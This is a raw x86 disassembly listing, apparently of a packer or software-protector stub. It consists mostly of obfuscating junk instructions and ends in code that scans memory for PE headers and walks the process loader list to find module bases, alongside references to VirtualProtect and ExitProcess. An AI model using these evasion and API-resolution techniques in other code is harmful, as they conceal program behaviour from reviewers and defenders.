xchg ebx, ebp
mov ah, al
setb ch
stc
pop bx
bswap edi
xchg si, bx
shr esi, 0x17
lea edx, [eax + 0x7d07]
btc ax, di
rol cx, cl
mov cx, bx
bswap bp
xchg ebp, eax
mov dx, 0x1c41
xchg edx, esi
or bl, bh
lea ebx, [edx - 0x12]
lea eax, [ecx + 0x648b03ba]
rcl edi, 0xd
not ebp
xchg cl, dl
mov dh, cl
lea edi, [ecx - 0x674c]
sub edi, ebx
mov si, di
xchg bl, ch
bswap bp
mov dx, di
neg si
btc edi, esi
mov ebx, dword [esp]
mov bx, bp
setg dl
xchg cx, si
bswap eax
mov bl, byte [esp]
lea ecx, [esi + 0x6fa901f8]
inc dx
pushfd
not dx
xchg edx, eax
add esp, 3
mov al, 0x72
xchg ebp, ecx
not ah
mov ebx, 0x62da14f7
push di
add esp, 1
xchg bp, ax
mov ch, 0xea
push edi
inc eax
mov byte [esp + 2], bh
push dword [esp + 3]
dec dh
mov al, bl
mov edx, 0x1cf67215
mov byte [esp + 8], ah
xchg ch, cl
push ecx
mov dl, byte [esp + 7]
mov ecx, 0x50cf221b
pop dword [esp + 4]
bswap edi
xchg word [esp + 4], dx
mov cl, byte [esp + 8]
push word [esp + 7]
sub esp, 0xe
push word [esp]
mov ax, VirtualProtect
bsr bp, dx
bswap esi
mov di, ExitProcess
mov ebp, esp
cmc
mov byte [esp + 0xa], ah
xchg cl, dl
mov cx, word [esp + 0xe]
push dword [esp + 0xd]
add esp, 0x1a
push word [esp]
sub esp, 0x1e
not edi
sete al
stc
push word [esp + 0xc]
pop ebp
bswap ecx
push dword [esp + 0x14]
mov dx, sp
xchg byte [esp + 0x26], bh
lea esp, [esp]
lea edi, [esp - 0x87]
xchg edi, ebp
mov ah, 0x9b
bsr edi, edx
setg dl
mov byte [esp + 0x23], cl
inc bp
bsr dx, ax
xchg edi, edx
lea esp, [esp + 7]
mov eax, dword [esp + 5]
mov si, 0x6859
mov dword [esp + 0x16], ebp
xchg byte [esp + 0x13], al
pop ecx
setb cl
inc eax
mov si, 0x326c
not dl
xchg bh, bl
pop word [esp + 6]
lea edx, [esp + esi]
neg edi
mov dl, 0xb2
stc
or ch, 0x3d
pop word [esp + 0x11]
mov si, di
mov cx, 0x47a3
mov byte [esp + 0xf], ch
mov word [esp + 7], ax
mov bp, 0x70e1
xchg word [esp + 8], di
bsf bp, si
mov edx, 0x51824c51
mov byte [esp + 1], dl
btr edx, ebx
mov dl, bl
bsr ax, si
add esp, 0x17
dec bp
pushfd
sub esp, 2
xchg word [esp + 4], di
pop word [esp]
bt dx, si
sub esp, 0xe
lea esp, [esp + 0x12]
bswap si
bswap bp
mov bx, word [esp + 1]
sete bh
mov bh, 0xa8
lea esp, [esp + 1]
mov di, dx
xchg esi, ecx
pushfd
rcr si, 3
lea esp, [esp + 1]
neg si
bsf di, di
xchg bp, di
mov esi, dword [esp]
bt bp, bp
and bx, cx
xchg word [esp], bx
sub esp, 0x19
push dword [esp + 0xc]
lea esp, [esp + 0x16]
mov byte [esp + 8], dl
push ebp
shl al, 3
shl edx, cl
xchg dword [esp], eax
rcr ebx, 0x10
pushfd
stc
neg bh
sub esp, 0x1a
xchg bl, ah
xchg byte [esp + 0x25], dh
xchg bl, ch
push dword [esp + 0xc]
mov bh, 0xa2
pushal
lea esp, [esp + 0x51]
bswap si
mov cl, dl
bswap dx
bswap eax
sbb al, 0x14
xchg cl, dh
setbe bl
mov dx, word [esp]
dec edx
mov bp, 0x39ce
btc ebx, ecx
lea eax, [ecx + 0xb0]
mov bl, dh
bswap ax
xchg bp, cx
bswap edi
lea esi, [edi + 0x1775]
shl al, 0
mov edx, 0x51c61d72
bswap eax
bsf edi, esi
sub esp, 1
xchg byte [esp], dh
mov al, dl
push ebp
push word [esp + 1]
sbb bx, ax
seto bh
mov byte [esp], dl
bswap ecx
xchg bh, bl
lea esp, [esp + 3]
xchg edi, eax
cmc
xchg ecx, edx
bswap ax
bsf ebp, esp
mov bh, byte [esp + 1]
mov dword [esp], ebx
setge dl
stc
rol bh, 2
add esp, 0
cmc
push ebx
mov dx, di
xchg dword [esp + 2], ecx
or bh, 0xb3
pop di
btc ebx, ebp
add si, 0x427c
push dword [esp + 2]
bsf di, sp
mov ch, byte [esp]
bts ax, di
push word [esp + 5]
pop word [esp + 1]
setle dl
xchg word [esp + 7], ax
dec ch
xchg dword [esp + 2], edx
mov bh, bl
mov si, 0x1c0f
mov cx, word [esp + 1]
mov dword [esp + 4], ecx
xchg word [esp + 5], dx
cld
pop edi
mov di, word [esp + 1]
mov ch, 0xca
mov ax, word [esp + 5]
mov dx, 0x5bec
setb bl
bswap eax
lea ebp, [esi + 0x6cf54f51]
setl ch
bswap dx
xchg edi, ebp
pushfd
push word [esp + 5]
mov byte [esp + 7], bh
cld
xchg byte [esp], dh
mov dword [esp], edx
mov di, word [esp + 4]
clc
mov ebp, dword [esp + 2]
mov ebp, dword [esp + 4]
mov cl, byte [esp + 0xb]
lea edx, [esi - 0x34c9]
bsr ebp, ebp
bswap ecx
pop dword [esp + 3]
not cx
rcr bh, 7
xchg dword [esp], ecx
mov edi, ecx
rcr bh, 3
add esp, 3
mov ecx, dword [esp + 1]
cld
xchg byte [esp + 2], bh
xchg dword [esp], ebx
mov ebp, esi
and ah, 0x65
mov byte [esp], al
xchg dword [esp], ecx
mov edx, 0x1aec01e4
mov al, dh
bswap bp
pop edi
add esp, 0
mov ebx, 0x55255b8a
lea ecx, [esp + 0x45]
neg dx
inc di
xchg bl, cl
or ah, 0x19
mov ax, word [esp]
mov ax, bx
cld
add esp, 0
lea esi, [ecx + edx]
mov eax, 0x17a0198e
mov ah, byte [esp]
setae cl
xchg dh, bh
mov ax, word [esp]
mov ah, cl
btc di, dx
add esp, 0
bsr edi, ecx
sub esp, 0x10
mov cx, 0x19a3
push word [esp + 0xd]
xchg byte [esp + 8], ah
bswap bx
neg cx
xchg si, bx
xchg byte [esp + 6], cl
mov di, word [esp + 9]
pop cx
xchg word [esp + 6], ax
not esi
xchg byte [esp + 0xb], ah
rol bh, 3
pop dword [esp + 7]
xchg di, bx
lea edi, [ebx - 0x1a]
mov dx, word [esp + 8]
push word [esp + 7]
xchg word [esp + 3], ax
xchg word [esp + 9], bx
pop ecx
mov di, si
mov ebp, 0x18e4745e
xchg byte [esp + 2], bl
mov ebp, dword [esp + 5]
pop cx
mov ecx, dword [esp + 3]
pop eax
cmc
mov ebp, eax
sub ah, cl
mov word [esp + 2], si
neg di
xchg word [esp + 1], bp
xchg esi, eax
mov word [esp + 1], ax
lea esp, [esp + 1]
mov al, byte [esp]
xchg word [esp + 1], dx
pop eax
push cx
mov cl, al
bt esi, edi
pushfd
push dword [esp + 4]
cld
push dword [esp]
bswap si
pop edx
bt eax, ebp
mov word [esp], bx
cmc
sub esp, 0
pop word [esp + 5]
xchg word [esp], bp
xor bp, bp
push word [esp + 6]
not bp
mov bp, sp
dec dl
mov dh, byte [esp + 7]
mov al, 0x14
mov dx, word [esp + 1]
cld
cmc
neg si
sub esp, 0xf
neg ecx
mov edi, eax
bswap esi
xchg word [esp + 0xe], dx
lea edx, [ebx + 0x946]
push dword [esp + 8]
mov byte [esp + 8], bl
dec edx
inc esi
stc
shl ecx, 8
bswap ebp
sbb ecx, 0x24376a8
pop ecx
mov eax, dword [esp + 7]
sub esp, 0x11
mov dx, 0x7b64
mov si, bx
bswap cx
bswap bp
sub esp, 0
xchg word [esp + 4], di
mov di, bx
mov esi, ecx
xchg dx, ax
xchg byte [esp + 0xe], cl
popal
xchg al, ch
mov dl, dh
mov bl, dh
mov ch, cl
bsr eax, edx
pop di
mov bh, byte [esp + 2]
bswap edx
pop dword [esp]
mov dword [esp], edx
mov dx, word [esp + 3]
push word [esp + 3]
mov edx, dword [esp + 2]
mov bl, 0xda
mov ebx, ecx
lea esp, [esp + 3]
push esi
not edx
dec dl
btr cx, sp
bswap di
xchg byte [esp + 3], cl
xchg byte [esp + 3], dh
mov bh, ah
mov byte [esp + 4], cl
pop word [esp + 1]
pop edi
mov dx, bx
mov dl, byte [esp]
seto ah
mov bx, 0x28c5
mov edx, edi
xchg byte [esp], ch
xchg byte [esp], dh
mov byte [esp], ch
mov ax, 0x47ac
lea esp, [esp]
mov ax, word [esp]
mov al, 0x2a
bsf eax, eax
mov si, 0x7c3c
stc
lea esp, [esp]
xchg byte [esp], al
mov di, 0x43d8
add esp, 0
bswap di
bsf ecx, edi
mov cl, 0x14
or eax, 0x2f027fa
xchg ebx, ebp
setp dl
xchg byte [esp], al
inc edi
add ebx, eax
lea eax, [ecx + 0x2847]
mov ah, byte [esp]
lea esp, [esp]
sub esp, 0x1f
sub esp, 7
lea esp, [esp + 0x14]
not al
add esp, 4
mov ah, al
xchg ebx, edx
xchg dword [esp + 0xa], esi
mov ebp, 0x723f15ae
btc si, sp
rol dx, cl
mov byte [esp + 0xd], bh
sete ah
lea ecx, [eax + edi]
mov word [esp + 6], ax
not ebx
mov word [esp + 0xb], si
mov dword [esp + 8], esp
or si, 0x427
neg dl
mov byte [esp + 0xa], dl
mov byte [esp + 5], dl
bswap eax
pop dword [esp + 5]
add esp, 0
not dh
xchg bh, al
mov dword [esp + 5], edi
xchg ah, bh
lea edx, [edi + 0x51212253]
bswap bp
mov di, 0x4068
xchg ebp, ecx
mov cl, bh
mov di, bp
bswap cx
clc
lea esp, [esp + 8]
mov byte [esp + 1], cl
mov ax, si
lea esp, [esp + 2]
and si, 0x692f
sub esp, 0
mov al, bh
bswap ax
mov bp, di
mov dh, 0x40
mov bp, 0x53b0
mov di, sp
sub esp, 0x14
add esp, 9
xchg dword [esp], edi
dec si
push si
mov bp, 0x4673
mov si, bx
pop word [esp + 9]
add esp, 2
bswap si
mov bl, byte [esp + 2]
mov dword [esp + 5], eax
mov al, 0xe0
lea esp, [esp + 9]
mov si, ax
xchg bl, ch
bswap bp
mov al, byte [esp]
bswap ebp
bsr esi, edi
not esi
mov dl, al
bswap esi
mov bl, dl
not bh
not bh
mov edi, dword [esp]
not ecx
not cl
mov ah, bh
not ax
mov edi, dword [esp]
btr ax, cx
lea esp, [esp]
mov ch, dh
lea ebx, [edi - 0x57f4]
sub esp, 0x14
mov edx, dword [esp + 8]
mov byte [esp + 0xc], bh
bswap bp
pushal
pop esi
sub esp, 0xd
xchg bx, ax
pushfd
pop word [esp + 0xb]
pop dword [esp + 0xa]
mov dword [esp + 0x25], eax
mov bp, 0x6251
inc esi
popal
bswap si
bt bp, dx
mov bp, word [esp + 0xa]
mov bl, dl
pop word [esp + 0xa]
xchg byte [esp + 4], ah
bswap ebx
pop dx
xchg byte [esp + 7], dh
shl ah, 2
xchg byte [esp + 0x10], bh
xchg word [esp + 8], ax
xchg dword [esp + 0xf], esi
bswap edi
lea esp, [esp + 8]
push word [esp + 3]
btc esi, ebp
xchg byte [esp + 0x10], cl
pop si
clc
mov bx, di
mov ch, dh
mov edi, esp
mov ebx, 0x48896589
mov ebx, 0x11f03486
cld
mov dword [esp], ebp
mov ah, bl
btc bp, dx
mov al, byte [esp + 0xf]
or cl, ch
pop ax
mov word [esp + 1], cx
pop dword [esp + 5]
mov byte [esp], dh
add esp, 8
push si
pop si
xchg ah, cl
bsr cx, di
pop dx
mov edx, ebp
mov di, sp
sub esp, 0xd
mov ecx, dword [esp + 8]
xchg word [esp], cx
pop dword [esp + 3]
neg eax
mov ebp, dword [esp + 5]
bswap edi
mov dword [esp + 3], esp
mov dword [esp + 1], eax
mov cl, 0xca
mov ax, 0x3783
xchg ebx, edx
mov bp, 0x2fe4
push dword [esp + 5]
push dword [esp + 2]
cmc
mov cl, ch
mov word [esp + 8], cx
mov dl, 0x82
sub esp, 0x14
mov cx, word [esp + 0x1d]
mov edx, dword [esp + 0x13]
pop bx
xchg word [esp + 0x20], si
xchg byte [esp + 3], ah
mov dword [esp + 0x14], esp
sub esp, 0x1a
mov word [esp + 0x2c], si
not bl
pop word [esp + 3]
not ebx
xchg dh, ah
bswap eax
lea edx, [eax - 6]
pop dx
mov dx, word [esp + 0x31]
xchg byte [esp + 4], al
xchg byte [esp + 0x11], ch
pop ax
bswap ebx
setne bl
xchg di, si
add esp, 0x29
pop word [esp + 6]
mov ecx, dword [esp + 4]
mov edx, ebx
xchg bp, bx
lea esp, [esp + 0xb]
not al
xchg dl, bl
clc
push ax
setg cl
lea edi, [0x33a0595e]
cmc
dec bp
mov ecx, 0x375f3f30
xchg ah, dh
pop si
bsf eax, esi
setbe dl
mov dl, 0xf
mov bl, dl
bswap ax
neg bx
neg dx
neg dx
bsr eax, ebx
inc al
mov al, byte [esp]
mov byte [esp], al
mov byte [esp], dl
mov cl, byte [esp]
add esp, 0
btr ax, ax
xchg dh, ah
neg edi
mov ebp, edi
mov ax, dx
xchg byte [esp], dh
xchg ebx, edx
mov ebp, edi
cmc
mov bh, 0x42
add esp, 0
lea esp, [esp]
add esp, 0
xchg esi, ebp
mov ebx, eax
xchg byte [esp], ch
not dl
lea ecx, [ebp - 0x144c]
dec al
xchg bx, di
inc esi
mov esi, 0x12264bbd
lea eax, [edi + edi]
clc
dec bx
xchg cl, bl
cmc
pushal
mov dh, 0xc8
mov esi, dword [esp + 0x19]
neg cx
bsf eax, esi
mov bx, si
adc bl, ah
shr dh, 3
mov ecx, esp
mov dword [esp + 0x15], eax
mov dh, dl
xchg dword [esp], ebp
mov bx, bp
push word [esp + 0x1a]
mov dword [esp + 2], esp
mov ecx, eax
lea ebp, [0x386946be]
not edx
bsf ecx, ebp
add esp, 0x1c
and dx, ax
xchg dword [esp], ebp
pop ax
mov ecx, eax
lea edi, [esi + edi]
xchg bx, si
lea eax, [esp - 0x513e]
shr bp, 0xe
rol di, cl
mov ax, 0x5aba
xchg byte [esp + 2], bl
xchg word [esp + 2], ax
dec cl
xchg edx, ecx
mov esi, 0x24300031
cmc
add esp, 2
sub edi, 0x4a2b4a8d
mov ah, 0x2a
bswap bx
mov byte [esp + 1], bl
mov dh, 0x8c
pop cx
bswap eax
bsr cx, di
mov al, ah
mov byte [esp], dl
mov edx, 0x71596f66
shl bl, 1
not ah
mov ecx, 0x540f6a82
seto ch
xchg bh, dl
sub esp, 0x17
lea edi, [ecx + ebp]
xchg ebx, ebp
xchg al, ah
not esi
mov ax, word [esp + 6]
stc
lea esp, [esp + 8]
xchg dword [esp + 4], edx
pop dword [esp]
mov dword [esp + 1], edi
mov esi, dword [esp]
clc
mov word [esp + 8], ax
mov edi, dword [esp + 7]
mov ebx, 0x3d995780
dec dh
mov word [esp], di
add esp, 0xb
xchg dl, cl
xchg byte [esp], bh
bt ebp, esi
bsr si, cx
bsr edx, ecx
xchg si, ax
xchg byte [esp], cl
mov cx, word [esp]
xchg byte [esp], ah
sub esp, 0x15
bswap dx
mov dh, 0x8f
mov ax, 0x30d9
pop word [esp + 0xf]
lea eax, [eax + esi]
inc ebx
bswap eax
bsr edx, eax
mov esi, 0x7e854f37
pop dword [esp + 7]
btc edx, esi
add esp, 0xa
mov cl, 0xe9
btc di, bx
cld
mov bh, cl
bswap bp
add esp, 3
pushfd
cmp edi, 0x59f52992
lea ebx, [ecx + 0x7fb43177]
add esp, 2
pop edi
bswap ebx
xchg ebx, eax
or eax, 0x49dc58da
mov ebx, edi
lea esp, [esp]
bswap eax
bswap ax
lea eax, [esi + 0x127564ca]
neg ch
bswap bp
mov byte [esp], ch
lea esp, [esp]
mov eax, 0x30c6219a
mov ebx, 0x7c2908ed
mov dx, word [esp]
mov esi, esp
xchg dh, bh
mov eax, edi
xchg byte [esp], dh
add esp, 0
bsr di, bx
bswap ebx
neg dh
mov dh, ah
mov ch, bl
xchg ebx, ebp
bswap ebx
xchg esi, ebx
btr si, cx
lea esi, [edx + esi]
lea eax, [eax + 0x15d012f6]
lea eax, [edx - 0x6ee6]
mov si, sp
lea esp, [esp]
mov esi, ebx
xchg edi, eax
rcl ah, cl
mov bx, di
bsr ebp, esp
xchg bh, dh
mov dl, byte [esp]
mov byte [esp], dl
mov bp, word [esp]
mov bx, word [esp]
mov cx, di
xchg byte [esp], ah
mov ebp, dword [esp]
setg bh
mov edi, ebp
bsr di, bx
not cx
lea esp, [esp]
mov byte [esp], ch
mov ax, 0x23be
bswap ecx
bswap ax
bsf si, di
rcr ebx, cl
lea edx, [esp + 0x7a5279bc]
mov edi, eax
mov si, sp
mov bh, 0x6f
btc ax, dx
sub esp, 0x17
mov bh, byte [esp + 4]
setb ah
mov byte [esp + 3], bl
pop si
not edi
xchg dword [esp + 0x10], esi
bsr bx, si
lea edx, [edx + esi]
pop ecx
mov eax, dword [esp + 9]
mov dl, 0x81
lea ebp, [eax + 0x8935969]
lea esp, [esp + 0x11]
add esp, 0
mov edx, ebp
mov ecx, dword [esp]
mov dl, 0x83
bswap esi
sub esp, 0x17
clc
push sp
pop word [esp + 0x10]
pop dx
bsf edx, edx
lea eax, [0x1d981141]
push word [esp + 1]
lea eax, [ecx + ebx]
not dx
push dword [esp + 0x10]
xor si, 0xa88
mov bp, 0x3f17
lea esp, [esp + 3]
dec bp
add esp, 9
lea ebx, [edi - 0x5a42]
not ebp
not eax
shr dx, 0
cmc
xchg dword [esp + 1], edx
pop dword [esp + 5]
xchg byte [esp + 0xa], ah
push ax
lea esi, [ebp + ebp]
inc di
xchg dx, cx
pop dword [esp + 1]
rcl edx, cl
inc di
xchg dword [esp + 4], esi
lea esp, [esp + 5]
bswap edx
lea ebp, [esp + ebx]
xchg dword [esp], ebx
add esp, 2
xchg bx, bp
stc
mov bp, 0x6f3f
xchg bl, ch
setns bh
xchg word [esp], di
setnp dl
lea ecx, [edi + 0xe1d3938]
push word [esp + 2]
push word [esp + 4]
mov ebx, edx
lea eax, [edx + esi]
sub esp, 0x16
mov dword [esp + 0x15], esp
add esp, 0x13
mov al, byte [esp + 5]
sub esp, 0xc
mov dx, 0x3601
lea esp, [esp + 0xa]
xchg bp, cx
pop dword [esp + 2]
mov ecx, dword [esp]
xchg word [esp], si
btr esi, esp
mov dx, word [esp + 2]
lea esi, [0x2bef6db1]
pop edi
bswap dx
mov word [esp + 1], si
add esp, 0
lea esp, [esp + 3]
not ch
xchg ah, ch
mov ah, ch
neg al
neg edi
bsf di, di
lea ebx, [ebx + ebp]
inc bl
mov ah, bl
mov al, byte [esp]
mov cx, bp
mov esi, 0x73ed7bbe
lea ebp, [0x371b4033]
stc
mov al, byte [esp]
mov bl, dh
btr eax, edx
xchg al, bl
mov eax, ebx
bswap esi
sub esp, 0
xchg ebp, edx
neg dh
mov esi, ebp
xchg cl, ch
xchg edx, edi
neg si
lea edi, [ebx - 0x2a81]
bswap eax
add esp, 0
neg bl
lea ebp, [esp - 0x22c5]
xchg bl, cl
mov ebp, dword [esp]
bswap di
mov ch, ah
cmc
sub esp, 3
neg ebp
xchg bp, si
sete cl
setle ch
cld
sub esp, 0x1c
inc bh
mov ebp, edx
lea esi, [edx + esi]
push dword [esp + 5]
bts di, dx
pop edx
mov ah, 0xc7
mov bl, al
xchg al, dl
bswap si
cmc
neg dh
not dx
mov dword [esp + 0x18], esp
setle al
stc
xchg ebx, ebp
lea esp, [esp + 0x13]
pushfd
xchg word [esp], ax
sub esp, 4
ror di, cl
seto al
xchg dword [esp + 0xa], esi
push dword [esp + 3]
inc di
mov ebp, esi
xchg word [esp + 0xa], cx
neg cl
clc
lea ebp, [esp - 0x17db]
bswap ebp
xchg dword [esp], edi
not ax
mov ebx, dword [esp + 0xf]
bsf ebp, ecx
lea esp, [esp + 0xc]
pop word [esp + 6]
pop word [esp + 1]
add esp, 3
neg ch
and di, 0x49d3
bswap edx
mov bh, 0xde
lea edi, [0x278a5562]
btr cx, ax
pop bx
mov ebx, ebp
bsr bx, di
pop word [esp]
bswap bp
bsr eax, edx
mov cx, word [esp + 1]
clc
mov bl, 0x23
mov ah, byte [esp]
lea esp, [esp]
mov cx, 0x77e2
stc
lea esp, [esp + 1]
clc
lea edx, [esi - 0x799b]
mov ch, byte [esp]
mov byte [esp], ah
mov edi, dword [esp]
mov ch, 0x55
xchg byte [esp], al
mov si, di
inc ah
bts cx, cx
neg edi
mov bx, 0x3a64
not edi
mov dl, byte [esp]
mov eax, dword [esp]
bsr edi, esp
inc edx
mov edx, ebp
mov byte [esp], ah
lea edx, [ecx + ebx]
xchg edi, ecx
mov esi, 0x54467eb7
xchg byte [esp], ah
mov si, 0x546
bts si, bx
cmc
mov dl, 0x21
stc
add esp, 0
add esp, 0
bsf ax, cx
lea esi, [esi - 0x1b98]
mov bh, 0xe8
neg ebx
mov edx, 0xec067fc
cmc
cld
mov dl, bl
cmc
and edi, 0x192c132c
cld
mov si, 0x74df
mov cx, bp
mov dx, word [esp]
mov ax, si
setge ch
xchg bl, ah
mov ah, 0x35
mov dh, 0xb5
setb cl
lea esp, [esp]
inc edi
xchg ebp, esi
add esp, 0
mov byte [esp], bl
mov ebp, 0x716966ce
pushal
mov eax, 0x571d4969
mov dword [esp + 0x12], ebp
mov si, bx
mov bp, si
mov ebp, 0x6a591252
btc ax, bp
mov eax, 0x2cfe65bd
bsf ebp, eax
popal
mov dh, byte [esp]
sub esp, 0xe
btr eax, edx
bswap edx
xchg al, bl
xchg dword [esp + 1], eax
dec bh
lea ebp, [ecx - 0x7af9]
not ebx
pushfd
push eax
pop dword [esp + 6]
btc eax, esi
mov dword [esp + 0xc], esp
mov ax, 0x775a
mov cx, 0x5c01
lea ebx, [esp + 0x1f3b458c]
lea ecx, [esi + edi]
pop word [esp + 0xb]
mov dl, byte [esp + 9]
pop word [esp + 1]
mov ax, bp
sub esp, 0xe
xchg edi, edx
xchg dword [esp], esi
pop dword [esp + 4]
setp ah
mov ecx, dword [esp + 1]
xchg dh, ch
pop cx
pop word [esp + 0x11]
mov bx, dx
mov byte [esp + 6], bl
pop word [esp + 1]
add esp, 0xe
dec dx
mov edi, esi
bswap edi
add esp, 0
xchg bp, bx
push word [esp]
not ebx
btr cx, bx
clc
btc bp, ax
neg ecx
setb bl
lea esp, [esp + 6]
mov bx, si
mov ebx, 0x18047c9e
xchg bl, ch
neg ecx
or bx, 0x40ac
xchg edi, eax
or ah, bl
bsf di, di
setp al
shr bl, 4
not ah
bswap cx
not si
sub esp, 0x11
push dword [esp + 1]
not ebx
pop dword [esp + 0xa]
xchg esi, ebp
neg dl
xchg word [esp + 0xb], bp
mov edi, ebp
mov bx, word [esp + 5]
mov cx, bp
mov byte [esp + 8], dh
cmc
pop ebx
mov dl, 0x2c
mov esi, 0x64c57117
rcl di, cl
bsr ebp, ecx
mov dword [esp], edx
bswap di
xchg word [esp + 1], ax
lea ebx, [esp + ecx]
xchg cl, bl
xchg esi, eax
setl bl
pop word [esp + 9]
bswap esi
lea esp, [esp + 8]
mov cx, 0x3706
bsf bp, sp
bswap cx
pop si
bsr ebp, ecx
or ecx, eax
lea esp, [esp + 1]
mov si, 0x25fc
mov byte [esp], cl
mov dx, si
xchg dl, bl
mov bh, 0xa0
rol ah, cl
mov eax, dword [esp]
mov ecx, ebp
lea eax, [eax + 0x4f2a727a]
push bp
mov bp, word [esp]
bswap di
sub esp, 3
xchg ebp, eax
bts ebp, edi
add esp, 3
lea esp, [esp + 1]
mov bp, ax
pop bx
cld
inc al
mov ch, dl
mov bl, 0xac
bswap dx
neg cx
mov al, 0x9b
xchg bx, di
sbb cx, bx
dec eax
bsr ebx, eax
not ecx
xchg bx, di
mov ah, bl
mov dl, 0xf2
mov dh, 0x12
mov ch, bh
shr ax, 0xf
lea ebx, [ebp - 0x1105]
mov di, 0x305
clc
mov bh, byte [esp]
mov dh, cl
xchg ecx, eax
xchg cx, di
cld
lea edi, [edx + 0x285c02ea]
pushal
pop bx
pop word [esp + 0xe]
lea esp, [esp]
lea esi, [edx + 0x19d200e3]
mov esi, dword [esp + 0xd]
pop word [esp + 2]
push dword [esp + 6]
mov bp, bx
inc bl
mov byte [esp + 0x15], bl
xchg word [esp + 3], bx
mov ch, dh
pop ebx
clc
mov edi, dword [esp + 0x12]
cmc
push dword [esp + 0x17]
push dword [esp + 1]
bswap si
xchg word [esp + 0x18], bp
push dword [esp + 0x21]
mov cx, 0x52cb
mov bp, 0xc1f
mov ebp, esp
setg dh
xchg cl, al
not bp
mov ch, bl
pop edx
btr ecx, ebp
bsr ebx, eax
stc
mov byte [esp + 0x16], dl
mov word [esp + 8], si
pop edx
lea esp, [esp + 7]
mov ax, word [esp + 9]
sub bx, 0x1b2f
adc dh, 0x93
mov byte [esp + 0x12], cl
mov ebp, dword [esp + 3]
mov byte [esp + 0x10], dh
xchg word [esp + 0x10], ax
setae dl
xchg ebx, esi
setl bl
mov bl, 0x4e
mov ecx, dword [esp + 0x11]
push word [esp + 7]
mov word [esp + 6], ax
not eax
mov dword [esp + 0xc], ebx
mov ebp, dword [esp + 0x14]
inc edx
clc
add esp, 0xb
push word [esp + 5]
xchg cx, bx
xchg dword [esp + 7], edx
lea ecx, [eax - 0x7a]
bswap dx
xchg cx, bx
ror ebp, 0x1c
and eax, 0x16b22e5e
add esp, 0xf
lea esp, [esp]
neg ch
mov edx, edi
mov ch, 0xa
mov dx, word [esp]
bswap edx
dec dx
setbe bl
mov dx, 0x49b2
bsr ecx, esi
not dh
bswap ebx
mov dh, ch
mov eax, dword [esp]
btc edx, esp
mov bp, 0x691
bsr eax, esp
mov byte [esp], dh
seto dh
mov dx, ax
btc edi, edx
xchg dl, bh
xchg ch, bh
btc dx, ax
mov ebx, eax
mov bp, 0x4e06
bsf cx, cx
cmc
setne al
or bh, bh
mov bh, 6
neg ecx
mov dl, bh
mov dl, 0x5d
bswap edi
neg si
lea esp, [esp]
bswap cx
xchg dx, ax
inc cl
dec edi
mov eax, 0x2ec928d5
btr bp, si
bsf edi, ebx
jmp 0x101213a9
call 0x1012500f
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x63694c20
outsb dx, byte gs:[esi]
jae 0x10125073
jb 0x10125026
jbe 0x10125039
aaa
cmp dword cs:[esi], ebp
xor byte [eax], al
jmp 0x10125089
call 0x10125023
pop ebx
sub ebx, 0x10125023
add dword [esp], ebx
and edx, dword [eax + 0x12]
adc byte [ecx], al
sbb al, 0x24
push 0x10000000
add dword [esp], ebx
call fcn.10023141
popal
jmp 0x100015f3
jmp dword [ecx - 0x17]
mov dword [esp + 0x15], esp
jmp 0x10128fe0
call 0x10125050
jmp 0x10127f37
push word [esp + 0x19]
pop word [esp + 7]
push word [esp + 0xb]
push word [esp + 0x1c]
jmp 0x10125040
fcomp dword [esi - 0x34]
stosd dword es:[edi], eax
shr byte [eax], cl
lodsd eax, dword [esi]
cmp eax, 0x8a00b744
push cs
pushfd
sti
push ss
movsd dword es:[edi], dword [esi]
imul ebx, dword [eax], 0x648dcea9
and al, 4
lea esp, [esp + 4]
push ebx
pop word [esp]
mov word [esp], di
lea esp, [esp]
push word [esp + 1]
lea esp, [esp + 1]
mov word [esp], bp
lea esp, [esp + 1]
lea esp, [esp + 2]
push eax
pushal
push word [esp + 0xb]
mov word [esp + 0x1f], sp
pop dword [esp + 0x18]
mov dword [esp + 3], ecx
mov byte [esp + 0xc], al
lea esp, [esp + 2]
mov dword [esp + 0x18], ecx
pushal
pop word [esp + 8]
jmp 0x1012505d
movzx ebx, word [eax + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
je 0x10120d97
jmp 0x10127f46
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x1012602a
sub eax, 0x10000
jmp 0x10127f3b
push dword [esp + 2]
mov word [esp + 3], di
mov dword [esp + 0x3c], edx
push esi
mov dword [esp], esi
mov word [esp], ax
push dword [esp + 3]
pop word [esp]
lea esp, [esp + 2]
mov dword [esp + 0x3c], ebx
pushal
mov word [esp + 0xf], dx
lea esp, [esp + 0x11]
push word [esp + 2]
mov dword [esp + 8], ebx
lea esp, [esp + 1]
mov byte [esp + 5], dl
mov dword [esp + 0x48], esp
pushal
pop word [esp]
pop dword [esp + 0xc]
pushal
mov byte [esp + 0x2f], dl
lea esp, [esp + 2]
mov dword [esp + 0x7c], ebp
pushal
pop dword [esp + 0xd]
push dword [esp + 6]
pop dword [esp + 0x16]
pushfd
lea esp, [esp + 0x1d]
mov byte [esp], cl
push di
pushal
push dword [esp + 0x12]
lea esp, [esp + 1]
mov dword [esp + 0xa0], esi
pushfd
push dword [esp]
lea esp, [esp + 6]
mov word [esp], bx
mov byte [esp], dh
mov byte [esp], dl
pushfd
mov word [esp + 2], di
mov dword [esp], ebx
push word [esp + 4]
pop word [esp]
mov dword [esp], ecx
mov byte [esp + 3], al
lea esp, [esp + 2]
mov dword [esp + 0xa0], edi
lea esp, [esp + 0xa0]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x1012504b
push word [esp + 0x18]
jmp 0x10128102